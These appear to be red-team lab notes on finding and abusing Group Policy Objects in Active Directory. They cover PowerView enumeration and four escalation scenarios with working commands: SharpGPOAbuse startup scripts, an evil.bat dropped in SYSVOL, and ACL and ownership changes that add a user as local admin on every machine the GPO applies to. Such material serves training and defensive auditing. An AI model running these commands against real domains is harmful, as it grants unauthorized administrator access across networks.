  1. Get users which are in a local group of a machine using GPO:

 Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity dcorp-student1 

This command checks which users or groups are being added to the local groups (like Administrators) on a specific machine (dcorp-student1) via Group Policy.

๐Ÿ” How it works:

  • It analyzes GPOs applied to the target machine.

  • Especially looks at GPOs that use Restricted Groups or Groups.xml to assign users to local groups.

  • Shows what local group modifications are happening through GPOs (not manually set).

  1. Get machines where the given user is member of a specific group:

Get-DomainGPOUserLocalGroupMapping -Identity student1 -Verbose

โœ… Purpose:

This command finds which machines a specific user (e.g., student1) is being added to local groups on, through Group Policy.

๐Ÿ” How it works:

  • It maps GPOs that add the specified user to local groups on various computers.

  • Helps track where this user has elevated permissions via GPO.

๐Ÿ“Œ Use case:

You want to find out:

๐Ÿ‘‰ โ€œOn which machines does student1 get local admin or group access via GPO?โ€


๐Ÿ” Why This Is Important for Red Teaming:

  • These mappings often reveal privileged access across systems.

  • If a GPO adds a user to the local Administrators group on 100 machines, that GPO (or the user) is an attractive lateral movement or privilege escalation target.

  • Attackers can look for misconfigured or overly permissive GPOs that give unintended admin rights.

Abuse Logic

๐Ÿ” What Rights Are Needed for GPO Abuse?

To abuse a GPO, you need write-level control over it.

โœ… Common Abusable Rights

Right | Meaning | Abuse Possible? |
โ€” | โ€” | โ€” |
GenericAll | Full control | โœ… YES |
GenericWrite | Modify attributes | โœ… YES |
WriteDACL | Change permissions | โœ… YES (indirect) |
WriteOwner | Take ownership | โœ… YES (indirect) |

๐Ÿ”ฅ SCENARIO 1 โ€” GenericAll (DIRECT CONTROL)

๐ŸŽฏ Situation

You are:


domain\user1

BloodHound shows:


user1 โ†’ GenericAll โ†’ "Workstation GPO"

๐Ÿ’ฃ What You Do

๐Ÿ‘‰ You already have full control โ†’ no setup needed

Run:


SharpGPOAbuse.exe --AddComputerScript \

--ScriptName addadmin.bat \

--ScriptContents "net localgroup administrators user1 /add" \

--GPOName "Workstation GPO"

โš™๏ธ What Happens Internally

  • Script gets added in:

\\domain\SYSVOL\Policies\{GPO_GUID}\Machine\Scripts\Startup\
  • GPO is updated to execute it

๐Ÿ’€ Result

After GPO refresh:


user1 becomes LOCAL ADMIN on all machines in that GPO

๐Ÿง  Key Understanding

๐Ÿ‘‰ You directly changed the GPO โ†’ instant abuse

๐Ÿ”ฅ SCENARIO 2 โ€” GenericWrite (MODIFY SETTINGS)

๐ŸŽฏ Situation


user1 โ†’ GenericWrite โ†’ "Workstation GPO"

โš ๏ธ Important Difference

๐Ÿ‘‰ You can modify GPO settings, but not full control like GenericAll

๐Ÿ’ฃ What You Do

Step 1 โ€” Add script reference in GPO

You modify GPO attribute to say:


Run this script at startup โ†’ evil.bat

Step 2 โ€” Place your script in SYSVOL


echo net localgroup administrators user1 /add > evil.bat

Put it in:


\\domain\SYSVOL\Policies\{GPO_GUID}\Machine\Scripts\Startup\

โš™๏ธ What Happens

  • GPO now points to your script

  • Machines execute it

๐Ÿ’€ Result

Same:


user1 โ†’ local admin everywhere

๐Ÿง  Key Difference

๐Ÿ‘‰ You didnโ€™t fully control GPO

๐Ÿ‘‰ You modified its behavior

๐Ÿ”ฅ SCENARIO 3 โ€” WriteDACL (PERMISSION ESCALATION)

๐ŸŽฏ Situation


user1 โ†’ WriteDACL โ†’ "Workstation GPO"

๐Ÿง  What This Means

๐Ÿ‘‰ You CANNOT modify GPO yet

But you CAN:


Change who has permissions

๐Ÿ’ฃ What You Do

Step 1 โ€” Give yourself full control


Add-DomainObjectAcl -TargetIdentity "Workstation GPO" \

-PrincipalIdentity user1 \

-Rights All

Step 2 โ€” Now you have:


user1 โ†’ GenericAll โ†’ GPO

Step 3 โ€” Abuse like Scenario 1


SharpGPOAbuse.exe ...

๐Ÿ’€ Result

Same:


Code execution โ†’ local admin everywhere

๐Ÿง  Key Understanding

๐Ÿ‘‰ WriteDACL = โ€œI can give myself powerโ€

๐Ÿ”ฅ SCENARIO 4 โ€” WriteOwner (TAKE OWNERSHIP)

๐ŸŽฏ Situation


user1 โ†’ WriteOwner โ†’ "Workstation GPO"

๐Ÿง  What This Means

๐Ÿ‘‰ You can change:


OWNER of the GPO

๐Ÿ’ฃ What You Do

Step 1 โ€” Become owner


Set-DomainObjectOwner -Identity "Workstation GPO" \

-OwnerIdentity user1

Step 2 โ€” As owner โ†’ change permissions


Add-DomainObjectAcl -TargetIdentity "Workstation GPO" \

-PrincipalIdentity user1 \

-Rights All

Step 3 โ€” Now you have:


GenericAll

Step 4 โ€” Abuse like Scenario 1


๐Ÿ’€ Result

Same final impact


๐Ÿง  Key Understanding

๐Ÿ‘‰ Owner = ultimate control over permissions


๐Ÿ”ฅ FINAL COMPARISON (SUPER IMPORTANT)

Right | What you initially can do | What you convert it into |
โ€” | โ€” | โ€” |
GenericAll | Full control | Direct abuse |
GenericWrite | Modify settings | Script execution |
WriteDACL | Change permissions | โ†’ GenericAll |
WriteOwner | Take ownership | โ†’ WriteDACL โ†’ GenericAll |